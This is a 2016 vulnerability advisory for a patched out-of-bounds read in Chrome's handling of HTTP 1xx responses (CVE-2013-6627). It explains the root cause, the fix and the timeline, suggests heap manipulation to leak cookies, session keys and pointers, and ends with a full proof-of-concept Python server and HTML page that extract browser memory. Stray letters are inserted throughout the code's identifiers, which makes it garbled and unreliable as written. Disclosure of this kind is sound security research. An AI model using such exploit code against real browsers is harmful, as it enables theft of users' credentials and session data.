Chrome HTTP 1xx Out Of Bounds Read
Posted on 20 December 2016
Since November I have been releasing details on all vulnerabilities I found that I have not released before. This is the 35th entry in the series. This information is available in more detail on my blog at http://blog.skylined.nl/20161219001.html. There you can find a repro that triggered this issue in addition to the information below, it also provides code snippets for the affected code, and a diagram that attempts to explain the memory layout. This advisory contains a lot more information about the root cause and how to exploit it, as Google Bug Bounties reward high quality bug-reports to a point where it is worth investigating a bug in detail. If you find these releases useful, and would like to help me make time to continue releasing this kind of information, you can make a donation in bitcoin to 183yyxa9s1s1f7JBpAPHPmzAQ346y91Rx5DX. Follow me on http://twitter.com/berendjanwever for daily browser bugs. Chrome HTTP 1xx base::StringTokenizerT<...>::QuickGetNext OOBR ============================================================== (CVE-2013-6627) Synopsis -------- A specially crafted HTTP response can allow a malicious web-page to trigger a out-of-bounds read vulnerability in Google Chrome. The data is read from the main process' memory. Known affected software, attack vectors and potential mitigations ----------------------------------------------------------------- * Google Chrome up to, but not including, 31.0.1650.48 An attacker would need to get a target user to open a specially crafted web-page. Disabling JavaScript does not prevent an attacker from triggering the vulnerable code path, but may prevent exfiltration of information. Since the affected code has not been changed since 2009, I assume this affects all versions of Chrome released in the last few years. Details ------- The `HttpStreamParser` class is used to send HTTP requests and receive HTTP responses. Its `read_buf_` member is a buffer used to store HTTP response data received from the server. Parts of the code are written under the assumption that the response currently being parsed is always stored at the start of this buffer (as returned by `read_buf_->StartOfBuffer()`), other parts take into account that this may not be the case (`read_buf_->StartOfBuffer() + read_buf_unused_offset_`). In most cases, responses are removed from the buffer once they have been parsed and any superfluous data is moved to the beginning of the buffer, to be treated as part of the next response. However, the code special cases `HTTP 1xx` replies and returns a result without removing the request from the buffer. This means that the response to the next request will not be stored at the start of the buffer, but after this `HTTP 1xx` response and `read_buf_unused_offset_` should be used to find where it starts. A look through the code has revealed one location where this can lead to a security issue (also in `DoReadHeadersComplete`). The code uses an offset from the start of the buffer (rather than the start of the current responses) to pass as an argument to a `DoParseResponseHeaders`. `DoParseResponseHeaders` passes the argument unchanged to `HttpUtil::AssembleRawHeaders`. The `HttpUtil::AssembleRawHeaders` method takes two arguments: a pointer to a buffer, and the length of the buffer. The pointer is calculated correctly (in `DoParseResponseHeaders`) and points to the start of the current response. The length is the offset that was calculated incorrectly in `DoReadHeadersComplete`. If the current response is preceded by a `HTTP 1xx` response in the buffer, this length is larger than it should be: the calculated value will be the correct length plus the size of the previous `HTTP 1xx` response (`read_buf_unused_offset_`). The code will continue to rely on this incorrect value to try to create a copy of the headers, inadvertently making a copy of data that is not part of this response and may not even be part of the `read_buf_` buffer. This could cause the code to copy data from memory that is stored immediately after `read_buf_` into a string that represents the response headers. This string is passed to the renderer process that made the request, allowing a web-page inside the sandbox to read memory from the main process' heap. Exploit ------- The impact depends on what happens to be stored on the heap immediately following the buffer. Since a web-page can influence the activities of the main process (e.g. it can ask it to make other HTTP requests), a certain amount of control over the heap layout is possible. An attacker could attempt to create a "heap feng shui"-like attack where careful manipulation of the main process' activities allow reading of various types of information from the main process' heap. The most obvious targets that come to mind are http request/response data for different domains, such as log-in cookies, or session keys and function pointers that can be used to bypass ASLR/DEP. There are undoubtedly many other forms of interesting information that can be revealed in this way. There are little limits to the number of times an attacker can exploit this vulnerability, assuming the attacker can avoid triggering an access violation: if the buffer happens to be stored at the end of the heap, attempts to exploit this vulnerability could trigger an access violation/segmentation fault when the code attempts to read beyond the buffer from unallocated memory addresses. Fix --- I identified and tested two approaches to fixing this bug: + Fix the code where it relies on the response being stored at the start of the buffer. This addresses the incorrect addressing of memory that causes this vulnerability in various parts of the code. The design to keep HTTP 1xx responses in the buffer remains unchanged. + Remove HTTP 1xx responses from the buffer. There was inline documentation in the source that explained why HTTP 1xx responses were handled in a special way, but it didn't make much sense to me. This fix changes the design to no longer keep the HTTP 1xx response in the buffer. There is an added benefit to this fix in that it removes a potential DoS attack, where a server responds with many large HTTP 1xx replies, all of which are kept in memory and eventually cause an OOM crash in the main process. The later fix was eventually implemented. Time-line --------- * 27 September 2013: This vulnerability and two patches were submitted to the Chromium bugtracker. * 2 October 2013: A patch for this vulnerability was submitted by Google. * 12 November 2013: This vulnerability was address in version 31.0.1650.48. * 19 December 2016: Details of this vulnerability are released. Cheers, SkyLined PoC.py import BaseAHTTPServer, json, sys, socket; def sploit(oAHTTPServer, sABody): iAReadASize = 2048; # The size of the HTTP 1xx response determines how many bytes can be read beyond the next response. # This HTTP 1xx response is padded to allow reading the desired amount of bytes: sAFirstAResponse = pad("HTTP/1.1 100 %s ", iAReadASize); oAHTTPServer.wfile.write(sAFirstAResponse); # The size of the second response determines where in the buffer reading of data beyond the response starts. # For a new connection, the buffer start empty and grows in 4K increments. If the HTTP 1xx response and the second # response have a combined size of less then 4K, the buffer will be 4K in size. If the second response is padded # correctly, the first byte read beyond it will be the first byte beyond the buffer, which increases the chance of # reading something useful. sASecondAResponse = pad("HTTP/1.1 200 %s x: x", 4 * 1024 - 1 - len(sAFirstAResponse)); oAHTTPServer.wfile.write(sASecondAResponse); oAHTTPServer.wfile.close(); if sABody: sALeakedAMemory = json.loads(sABody); assert sALeakedAMemory.endswith(" "), "Expected CRLF is missing: %s" % repr(sALeakedAMemory); asALeakedAMemoryAChunks = sALeakedAMemory[:-2].split(" "); sAFirstAChunk = None; for sALeakedAMemoryAChunk in asALeakedAMemoryAChunks: if sALeakedAMemoryAChunk.startswith("x: x"): sAFirstAChunk = sALeakedAMemoryAChunk[4:]; if sAFirstAChunk: dump(sAFirstAChunk); asALeakedAMemoryAChunks.remove(sALeakedAMemoryAChunk); if len(asALeakedAMemoryAChunks) == 1: print "A CR/LF/CRLF separates the above memory chunk from the below chunk:"; elif len(asALeakedAMemoryAChunks) > 1: print "A CR/LF/CRLF separates the above memory chunk from the below chunks, their original order is unknown:"; for sALeakedAMemoryAChunk in asALeakedAMemoryAChunks: dump(sALeakedAMemoryAChunk); break; else: dump(sALeakedAMemory); class RequestAHandler(BaseAHTTPServer.BaseAHTTPRequestAHandler): def handle_Aone_Arequest(self, *txAArgs, **dxAArgs): try: return BaseAHTTPServer.BaseAHTTPRequestAHandler.handle_Aone_Arequest(self, *txAArgs, **dxAArgs); except socket.error: pass; def do_AGET(self): self.do_AGET_Aor_APOST(); def do_APOST(self): self.do_AGET_Aor_APOST(); def __sendAFileAResponse(self, iACode, sAFileAPath): try: oAFile = open(sAFileAPath, "rb"); sAContent = oAFile.read(); oAFile.close(); except: self.__sendAResponse(500, "Cannot find %s" % sAFileAPath); else: self.__sendAResponse(iACode, sAContent); def __sendAResponse(self, iACode, sAContent): self.send_Aresponse(iACode); self.send_Aheader("accept-ranges", "bytes"); self.send_Aheader("cache-control", "no-cache, must-revalidate"); self.send_Aheader("content-length", str(len(sAContent))); self.send_Aheader("content-type", "text/html"); self.send_Aheader("date", "Sat Aug 28 1976 09:15:00 GMT"); self.send_Aheader("expires", "Sat Aug 28 1976 09:15:00 GMT"); self.send_Aheader("pragma", "no-cache"); self.end_Aheaders(); self.wfile.write(sAContent); self.wfile.close(); def do_AGET_Aor_APOST(self): try: try: iAContentALength = int(self.headers.getheader("content-length")); except: sABody = ""; else: sABody = self.rfile.read(iAContentALength); if self.path in gdsAFiles: return self.__sendAFileAResponse(200, gdsAFiles[self.path]); elif self.path in gdsAFunctions: return gdsAFunctions[self.path](self, sABody); else: return self.__sendAResponse(404, "Not found"); except: self.server.server_Aclose(); raise; def pad(sATemplate, iASize): iAPadding = iASize - len(sATemplate % ""); return sATemplate % (iAPadding * "A"); def dump(sAMemory): asADWords = []; iADWord = 0; asABytes = []; asAChars = []; print "-%s-.-%s-.-%s" % ( ("%d DWORDS" % (len(sAMemory) >> 2)).center(35, "-"), ("%d BYTES" % len(sAMemory)).center(47, "-"), "ASCII".center(16, "-")); for iAIndex in xrange(len(sAMemory)): sAByte = sAMemory[iAIndex]; iAByte = ord(sAByte); asAChars.append(0x1f < iAByte < 0x80 and sAByte or "."); asABytes.append("%02X" % iAByte); iABitAOffset = (iAIndex % 4) * 8; iADWord += iAByte << iABitAOffset; if iABitAOffset == 24 or (iAIndex == len(sAMemory) - 1): asADWords.append({ 0: " %02X", 8: " %04X", 16:" %06X", 24:"%08X" }[iABitAOffset] % iADWord); iADWord = 0; if (iAIndex % 16 == 15) or (iAIndex == len(sAMemory) - 1): print " %-35s | %-47s | %s" % (" ".join(asADWords), " ".join(asABytes), "".join(asAChars)); asADWords = []; asABytes = []; asAChars = []; if __name__ == "__main__": gdsAFiles = { "/": "proxy.html", } gdsAFunctions = { "/sploit": sploit, } txAAddress = ("localhost", 28876); oAHTTPServer = BaseAHTTPServer.HTTPServer(txAAddress, RequestAHandler); print "Serving at: http://%s:%d" % txAAddress; try: oAHTTPServer.serve_Aforever(); except KeyboardAInterrupt: pass; oAHTTPServer.server_Aclose(); Proxy.html <!doctype html> <html> <head> <script> var iAThreads = 1; // number of simultanious request "threads", higher = faster extraction of data var iADelay = 1000; // delay between requests in each "thread", lower = faster extraction of data function requestALoop(sADataAToASend) { var oAXMLHttpARequest = new XMLHttpARequest(); oAXMLHttpARequest.open("POST", "/sploit", true); oAXMLHttpARequest.onreadystatechange = function () { if (oAXMLHttpARequest.readyAState === 4) { if (oAXMLHttpARequest.status == 200) { var sAHeaders = oAXMLHttpARequest.getAAllAResponseAHeaders(); console.log("response =" + oAXMLHttpARequest.status + " " + oAXMLHttpARequest.statusAText); console.log("headers =" + sAHeaders.length + ":[" + sAHeaders + "]"); if (iADelay > 0) { setATimeout(function() { requestALoop(sAHeaders); }, iADelay); } else { requestALoop(sAHeaders); } } else { document.write("Server failed!"); } } } oAXMLHttpARequest.send(sADataAToASend ? JSON.stringify(sADataAToASend) : ""); } window.addAEventAListener("load", function () { for (var i = 0; i < iAThreads; i++) requestALoop(""); }, true); </script> </head> <body> </body> </html>
